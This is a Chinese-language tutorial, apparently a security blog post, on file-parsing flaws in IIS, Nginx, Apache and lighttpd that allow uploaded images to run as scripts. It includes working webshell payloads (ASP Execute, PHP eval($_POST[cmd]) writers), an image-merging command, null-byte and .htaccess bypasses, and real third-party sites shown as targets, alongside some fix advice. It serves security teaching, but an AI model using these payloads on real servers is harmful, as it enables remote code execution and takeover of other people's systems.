注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

0x01 IIS 5.x/6.0解析漏洞

其中IIS 6.0解析利用方法有两种,目录解析后缀解析;
(1) 第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
/xx.asp/xx.jpg

(2) 第二种,在IIS6.0下,分号后面的不被解析,IIS6.0 都会把此类后缀文件成功解析为 asp 文件
wooyun.asp;.jpg
{ /xx.asp;.jpg 此类文件在Windows下不允许存在,;.jpg被自动除去,剩下/xx.asp }

文件解析构造:
默认解析:/xx.asa /xx.cer /xx.cdx
IIS6.0 利用目录解析漏洞 除了asp还包含 : /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
Echo “<%Execute(request(“a”))%>”>> d:\webroot\1.cer


0x02 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

nginx是一款高性能的web服务器,使用非常广泛其不仅经常被用作反向代理,也可以非常好的支持PHP的运行,Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的;
漏洞成因:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中fastcgi方式下 cgi.fix_pathinfo是开启的 cgi.fix_pathinfo=1.,

#涉及版本:php5.2.12 php 5.3.1(Default)

在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,在默认Fast-CGI开启状况下 ,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

copy xx.jpg /b + yy.txt /a xy.jpg
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件

上传后访问: http://bbs.youxi.56.com/attachments/swfupload/1307311753b2bbb5703bb3deb3.jpg/.php

另外一种利用方法:http://www.oxen.com/evil.jpg/test.php

通过正则匹配, script_name会被设置为evil.jpg/test.php,然后传递给 php FASTcgi, php会认为script_name为evil.jpg,而test.php为path_info,然后php把evil.jpg当做一个php文件来解

修护建议:
如果厂家没有选择关闭cgi.fix_pathinfo的方式进行修补,有很多人的php-fastcgi是配置成”location ~ .*.(php|php5)?$”形式的。

使用cgi.fix_pathinfo=0的方式,一劳永逸,或者根据自己网站的php-fastcgi设置,定制一个url屏蔽列表。
http://www.80sec.com/nginx-securit.html
http://forum.dev.sdo.com/robots.txt/s.php5


0x03 Nginx <8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问;

xxx.jpg%00.php
http://bbs.youxi.56.com/attachments/swfupload/1307311753b2bbb5703bb3deb3.jpg%00.php
#来执行其中的代码,相当于%00将jpg吃掉了


0x04 Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止.

后缀解析:test.php.x1.x2.x3
经验之谈:php|php3|phtml //多可被Apache解析


0x05 lighttpd 解析漏洞

类似于最上面的Ngnix的解析漏洞;xx.jpg/xx.php

0x06 其他文件解析漏洞

(1) 在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。

我记得Fckedit PHP 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}

(2) 如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

SetHandler application/x-httpd-php #在追踪ip哪里使用到这个技术;
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。